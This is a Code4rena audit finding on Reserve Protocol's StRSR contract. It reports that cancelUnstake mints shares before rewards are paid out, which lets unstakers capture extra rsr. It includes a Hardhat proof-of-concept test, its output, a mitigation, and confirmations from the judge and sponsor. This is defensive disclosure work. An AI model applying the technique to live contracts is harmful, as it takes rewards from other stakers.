cancelUnstake lack payoutRewards before mint shares

[code423n4]

Lines of code

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L341-L380

Vulnerability details

cancelUnstake will cancel the withdrawal request in the queue can mint shares as the current stakeRate. But it doesn't payoutRewards before mintStakes. Therefor it will mint stRsr as a lower rate, which means it will get more rsr.

Impact

Withdrawers in the unstake queue can cancelUnstake without calling payoutRewards to get more rsr rewards that should not belong to them.

Proof of Concept

POC test/ZZStRSR.test.ts git patch

diff --git a/test/ZZStRSR.test.ts b/test/ZZStRSR.test.ts
index ecc31f68..b2809129 100644
--- a/test/ZZStRSR.test.ts
+++ b/test/ZZStRSR.test.ts
@@ -1333,6 +1333,46 @@ describe(`StRSRP${IMPLEMENTATION} contract`, () => {
       expect(await stRSR.exchangeRate()).to.be.gt(initialRate)
     })
 
+    it('cancelUnstake', async () => {
+      const amount: BigNumber = bn('10e18')
+
+      // Stake
+      await rsr.connect(addr1).approve(stRSR.address, amount)
+      await stRSR.connect(addr1).stake(amount)
+      await rsr.connect(addr2).approve(stRSR.address, amount)
+      await stRSR.connect(addr2).stake(amount)
+      await rsr.connect(addr3).approve(stRSR.address, amount)
+      await stRSR.connect(addr3).stake(amount)
+
+      const  initExchangeRate = await stRSR.exchangeRate();
+      console.log(initExchangeRate);
+
+      // Unstake addr2 & addr3 at same time (Although in different blocks, but timestamp only 1s)
+      await stRSR.connect(addr2).unstake(amount)
+      await stRSR.connect(addr3).unstake(amount)
+
+      // skip 1000 block PERIOD / 12000s
+      await setNextBlockTimestamp(Number(ONE_PERIOD.mul(1000).add(await getLatestBlockTimestamp())))
+
+      // Let's cancel the unstake in normal
+      await expect(stRSR.connect(addr2).cancelUnstake(1)).to.emit(stRSR, 'UnstakingCancelled')
+      let exchangeRate = await stRSR.exchangeRate();
+      expect(exchangeRate).to.equal(initExchangeRate)
+      
+      // addr3 cancelUnstake after payoutRewards
+      await stRSR.payoutRewards()
+      await expect(stRSR.connect(addr3).cancelUnstake(1)).to.emit(stRSR, 'UnstakingCancelled')
+
+      // Check balances addr2 & addr3
+      exchangeRate = await stRSR.exchangeRate();
+      expect(exchangeRate).to.be.gt(initExchangeRate)
+      const addr2NowAmount = exchangeRate.mul(await stRSR.balanceOf(addr2.address)).div(bn('1e18'));
+      console.log("addr2", addr2NowAmount.toString());
+      const addr3NowAmount = exchangeRate.mul(await stRSR.balanceOf(addr3.address)).div(bn('1e18'));
+      console.log("addr3",addr3NowAmount.toString());
+      expect(addr2NowAmount).to.gt(addr3NowAmount)
+    })
+
     it('Rewards should not be handed out when paused but staking should still work', async () => {
       await main.connect(owner).pauseTrading()
       await setNextBlockTimestamp(Number(ONE_PERIOD.add(await getLatestBlockTimestamp())))

The test simulates two users unstake and cancelUnstake operations at the same time.But the addr2 calls payoutRewards after his cancelUnstake. And addr3 calls cancelUnstake after payoutRewards. Addr2 gets more rsr than addr3 in the end.

run test:

PROTO_IMPL=1 npx hardhat test --grep cancelUnstake test/ZZStRSR.test.ts

log:

  StRSRP1 contract
    Add RSR / Rewards
BigNumber { value: "1000000000000000000" }
addr2 10005345501258588240
addr3 10000000000000000013

Tools Used

Manual review

Recommended Mitigation Steps

Call _payoutRewards before mint shares.

Assessed type

Math

[c4-judge]

0xean marked the issue as primary issue

[tbrent]

Agree with severity and proposed mitigation.

[c4-sponsor]

tbrent marked the issue as sponsor confirmed

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean marked the issue as selected for report